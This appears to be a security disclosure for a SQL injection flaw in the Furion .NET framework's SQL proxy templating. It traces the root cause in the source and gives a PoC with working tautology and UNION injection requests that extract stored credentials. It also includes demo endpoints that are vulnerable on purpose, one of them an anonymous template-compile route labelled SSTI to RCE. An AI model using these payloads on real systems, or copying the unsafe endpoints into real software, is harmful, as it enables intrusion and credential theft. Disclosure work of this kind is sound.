| Description | Complete PoC Description
(1) Vulnerability Source Code Location and Root Cause (White-box Evidence; paths are relative to the Furion source root):
① Call chain location: framework/Furion/DatabaseAccessor/SqlProxies/Proxies/SqlDispatchProxy.cs, lines 417-434. SqlDispatchProxy retrieves the SQL template from [SqlExecute] and collects the method parameters; then at line 434 it calls finalSql = finalSql.Render(...), entering the template substitution path:
// SqlDispatchProxy.cs (lines 417-434, excerpt)
else if (sqlProxyAttribute is SqlExecuteAttribute sqlExecuteAttribute)
{
finalSql = sqlExecuteAttribute.Sql; // The SQL template text written by the developer
} // e.g. "select * from person where name like '%{name}%'"
// Package the method arguments one by one into a (parameter name, parameter value) dictionary:
var methodParameterInfos = method.GetParameters().Select((u, i) => new MethodParameterInfo
{
Parameter = u,
Name = u.Name,
Value = args[i] // ← User-controllable method argument
});
finalSql = finalSql.Render(methodParameterInfos.ToDictionary(u => u.Name, u => u.Value)); // Line 434
② Rendering sink: framework/Furion/Templates/Extensions/StringRenderExtensions.cs, lines 67-91. The rendering is plain string replacement:
// StringRenderExtensions.cs (lines 85-88, excerpt)
foreach (var item in templateValues)
{
template = template.Replace($"{{{item.Template}}}",
encode ? Uri.EscapeDataString(item.Value?.ToString() ?? string.Empty)
: item.Value?.ToString()); // Line 87: String.Replace does whole-string substitution with zero SQL escaping
}
Three key root causes: 1) The substitution uses String.Replace, so single quotes, comment markers, and SQL keywords in parameter values are inserted into the statement verbatim. 2) At SqlDispatchProxy.cs line 434, Render is called without passing the encode parameter (defaults to false), so the framework's only encoding path is not enabled — and that encoding is URL encoding, not SQL escaping. 3) CombineDbParameter merely organizes the raw parameters into a model; the SqlProxyMethod.ParameterModel type is object, not an already-generated DbParameter collection. The actual parameter conversion occurs later during command creation. DbHelpers.ConvertToDbParameters only binds parameters when the SQL text contains @name or :name; {name} has already been replaced earlier, so the final SQL contains no @name, and the value never enters the parameterized path. The call chain ultimately executes finalSql as CommandText with CommandType.Text.
(2) Source code reference path (how the vulnerable code is reached by application code):
Developers declare a SQL proxy interface following the officially recommended pattern, register it, and then call methods through Db.GetSqlProxy<T>() in application code, which enters the rendering path described above:
// Typical application-side usage (officially documented pattern):
public interface IPersonSqlRepository : ISqlDispatchProxy
{
[SqlExecute("select * from person where name like '%{name}%'")]
List<Person> SearchByName(string name); // name comes from an HTTP request parameter
}
// Called from a controller / dynamic API:
var list = Db.GetSqlProxy<IPersonSqlRepository>().SearchByName(input.name);
(3) Complete PoC (local white-box environment, http://127.0.0.1:5002; see Appendix A for the demo endpoint source code): The following HTTP routes are not native Furion framework endpoints; they are application-side reproduction scaffolding temporarily added during the audit to prove that the framework defect can be reached through the host call chain.
PoC-0 Baseline request (proves the endpoint works normally and name participates in the query):
GET /api/audit-vuln-demo/audit-sql-template-inject?name=MonkSoul HTTP/1.1
Host: 127.0.0.1:5002
Response (HTTP 200, returns 1 row exactly matching name):
{"statusCode":200,"data":[{"name":"MonkSoul","age":28,"address":"Zhongshan City, Guangdong Province","createdTime":"2021-06-24 10:02:05","id":1}],"succeeded":true,...}
PoC-1 Tautology injection (name has no matching data but all rows are returned, proving the {name} value changed SQL semantics):
GET /api/audit-vuln-demo/audit-sql-template-inject?name=x%25%27+OR+%271%27%3D%271%27+--+%20 HTTP/1.1
Decoded, the actual name value is: x%' OR '1'='1' -- (note the trailing space to close the -- comment marker). The server-side SQL actually executed after concatenation:
select * from person where name like '%x%' OR '1'='1' -- %'
Response (HTTP 200): returns all rows in the person table (the seed data in this environment is 1 row, i.e., the entire table).
PoC-2 UNION injection exfiltrates arbitrary table data (this example extracts account names and passwords from the login account table user):
GET /api/audit-vuln-demo/audit-sql-template-inject?name=x%25%27+UNION+SELECT+999,(SELECT+group_concat(account||%27:%27||password)+FROM+user),0,%27%27,%27%27,%27%27+FROM+sqlite_master+WHERE+%271%27%3D%271%27+--+ HTTP/1.1
Actual SQL executed:
select * from person where name like '%x%' UNION SELECT 999,(SELECT group_concat(account||':'||password) FROM user),0,'','','' FROM sqlite_master WHERE '1'='1' -- %'
Response (HTTP 200, credentials appear directly in the application response JSON):
{"statusCode":200,"data":[{"name":"admin:admin,Furion:dotnetchina","age":0,...,"id":999}],"succeeded":true,...}
Cross-validation (direct query against the same database confirms the data is not fabricated):
$ sqlite3 Furion.db "select id,account,password from user"
1|admin|admin
2|Furion|dotnetchina
(2) Trigger Conditions
The application uses SqlDispatchProxy, and the [SqlExecute] CommandType.Text template contains {parameter} placeholders. 2. The corresponding argument is a string, object, or other type capable of carrying SQL syntax, and originates from user-controllable input (HTTP parameters, request body, headers, etc.). 3. The template places that value in a SQL syntax context. When these conditions are met, injection is possible; the framework provides no default SQL parameterization defense for this substitution. Templates that use @name or :name database parameter binding are not covered by this specific defect; ordinary procedure parameters of SqlProcedure are also outside this conclusion. Whether authentication is required depends on the host application's access control; anonymity is not automatically granted by the Furion framework.
// ------------------------------------------------------------------------
// Security Audit Reproducible Demo Interface (for local verification of audit conclusions only)
// Conclusion source: .audit/furion-v4-findings.md High Severity #7/#8
// ------------------------------------------------------------------------
namespace Furion.Application;
public class AuditVulnDemoServices(IViewEngine viewEngine) : IDynamicApiController
{
/// <summary>
/// [SSTI→RCE Reproducible] RunCompile performs fully trusted Roslyn compilation and execution on caller-provided templates
/// </summary>
[HttpGet, AllowAnonymous]
public async Task<string> AuditViewEngineCompile([FromQuery] string template)
{
return await viewEngine.RunCompileAsync(template);
}
/// <summary>
/// [SQLi Reproducible] Application-side temporary entry point; {name} in the framework is concatenated into SQL via Replace, without parameterization or escaping
/// </summary>
[HttpGet, AllowAnonymous]
public List<Person> AuditSqlTemplateInject([FromQuery] string name)
{
return Db.GetSqlProxy<IAuditSql>().SearchByName(name);
}
}
public interface IAuditSql : ISqlDispatchProxy
{
[SqlExecute("select * from person where name like '%{name}%'")]
List<Person> SearchByName(string name);
}
Company website: https://furion.net
|
|---|